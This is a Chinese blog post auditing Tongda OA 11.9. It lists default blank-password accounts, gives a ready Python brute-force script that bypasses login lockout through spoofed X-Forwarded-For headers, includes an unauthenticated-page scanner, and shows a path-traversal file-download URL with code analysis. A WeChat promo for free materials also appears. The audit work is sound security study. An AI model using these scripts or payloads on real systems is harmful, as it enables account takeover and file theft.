• 某OA系统审计小记


    通达oa 作为攻防演练中出场率较高的一套 OA 系统,决定先从历史漏洞开始挖掘分析,对通达oa 有一个初步的了解。

    通达oa 11.9 的下载地址 ,默认安装地址是 D:\MYOA ,联网状态下会自动更新到通达 oa 11.10

    安装成功后,登录界面如下 默认账号为 admin 对应密码为空。

    登录后我们看到其中还有一些默认账号 lijia wangyun wangde 均可利用空密码登录成功

      

    爆破密码

    正常输入账号名密码时,输入三次错误就会禁止10分钟

    我们可以通过代码方面追究其原因

    webroot/inc/td_core.php

    $USER_IP 的值可以来自于 X-Forwarded-For

    写个 python 脚本用于爆破用户名密码

    1. import requests
    2. import sys
    3. import re
    4. def read_passwd(passwordfile):
    5. with open(file = passwordfile, mode='r') as f:
    6. passwd = f.read().splitlines()
    7. return passwd
    8. def Intruder_password(url,username,passwd_list):
    9. success_str ="正在进入OA系统,请稍候..."
    10. a=b=c=d=0
    11. url = url +"/logincheck.php"
    12. for passwd in passwd_list:
    13. payload = "UNAME={}&PASSWORD={}&encode_type=1".format(username,passwd)
    14. headers = { "X-Forwarded-For": "{}.{}.{}.{}".format(a,b,c,d),"Content-Type": "application/x-www-form-urlencoded"}
    15. response = requests.request("POST", url, data=payload, headers=headers)
    16. if(re.search(success_str, response.text)):
    17. print("正确的账号名:{}密码:{}".format(username,passwd))
    18. else:
    19. print("错误密码:{}".format(passwd))
    20. d=d+1
    21. if(d == 255):
    22. c = c +1
    23. d = 0
    24. if(c == 255):
    25. b = b +1
    26. c = 0
    27. if(b == 255):
    28. a = a +1
    29. b =0
    30. def main():
    31. if len(sys.argv) < 4:
    32. print("Usage: Intruder_password.py targeturl username passwdfile\n"
    33. "Example: python Intruder_password.py http://10.0.18.1:80 admin passwd.txt")
    34. exit()
    35. url = sys.argv[1]
    36. username = sys.argv[2]
    37. passwd_list = read_passwd(sys.argv[3])
    38. Intruder_password(url,username,passwd_list)
    39. if __name__ == '__main__':
    40. main()

    【----帮助网安学习,以下所有学习资料免费领!加weix:yj009991,备注“ csdn ”获取!】

    ① 网安学习成长路径思维导图

    ② 60+网安经典常用工具包

    ③ 100+SRC漏洞分析报告

    ④ 150+网安攻防实战技术电子书

    ⑤ 最权威CISSP 认证考试指南+题库

    ⑥ 超1800页CTF实战技巧手册

    ⑦ 最新网安大厂面试题合集(含答案)

    ⑧ APP客户端安全检测指南(安卓+IOS)

    未授权敏感信息泄露

    一般我们想要寻找一些高危的漏洞,就是需要寻找一些未授权漏洞,就是在未登录状态下也可以执行授权后的相关功能,编写了一个简单的脚本,先判断哪一些网页是可以在未授权的情况下进行访问到,然后再做进一步的分析

    1. import os
    2. import sys
    3. import requests
    4. def file_path(url,filefolder):
    5. for root, dirs, files in os.walk(filefolder):
    6. for f in files:
    7. paths = os.path.join(root,f)
    8. paths = paths.replace(filefolder,url)
    9. paths = paths.replace("\\","/")
    10. #print(paths)
    11. if(f.endswith(".php")):
    12. response = requests.get(paths)
    13. # print(str(response.status_code)+" "+str(len(response.text))+" "+paths)
    14. print("code:"+ str(response.status_code) +" len:"+ str(len(response.text))+" url: "+ paths )
    15. def main():
    16. if len(sys.argv) < 3:
    17. print("Usage: file_path.py targeturl filefolder\n"
    18. "Example: python file_path.py http://10.0.18.1:80 \"C:\\Users\\admin\\Desktop\\MYOA\\webroot\"")
    19. exit()
    20. url = sys.argv[1]
    21. filefolder = sys.argv[2]
    22. file_path(url,filefolder)
    23. if __name__ == '__main__':
    24. main()

    http://10.0.18.1/inc/reg.php 泄露版本信息

    还有很多可以未授权显示的页面,不一一展示了

    未授权文件下载

    通过不断测试,也找到了一个比较有价值的漏洞,就是未授权文件下载

    构造链接

     http://10.0.18.1/inc/package/down.php?id=/../../../../../../../../../a

      就可以下载到根目录下的 a.zip 文件

    我们从代码层面分析一下漏洞的成因

    webroot/inc/package/down.php

    我们看到通过 GET 方法获取到 id 值,拼接到 $FILE_PATH 中,并没有做任何过滤,传到函数 td_download 中

    webroot/inc/utility_file.php

    如此便实现了任意文件下载,这是在版本 11.09 中 存在的漏洞,在自动更新到 11.10 后 漏洞便被修复了,我们查看一下代码

    webroot/inc/package/down.php 我们看到对传入的参数进行了过滤,无法再跨越目录的进行下载

    靶场实验练习推荐:代码审计利器-RIPS实践(合天网安实验室)

  • 相关阅读:
    VAPS XT开发入门教程05:预览与状态机
    【Unity3D】2D动画
    这个Python代码为什么会出现报错呢?正确应该怎么写呢
    easypoi自定义模板导出
    Java 对象内存布局详解
    用信号量实现进程同步与互斥(含代码分析)
    Spring-分析BeanFactoryPostProcessor后置处理器
    Amazon 文本数据提取服务-Textract对比Amazon 自然语言处理服务-Comprehend
    K近邻算法实例
    【Kafka】Kafka Producer 分区-05
  • 原文地址:https://blog.csdn.net/qq_38154820/article/details/126646667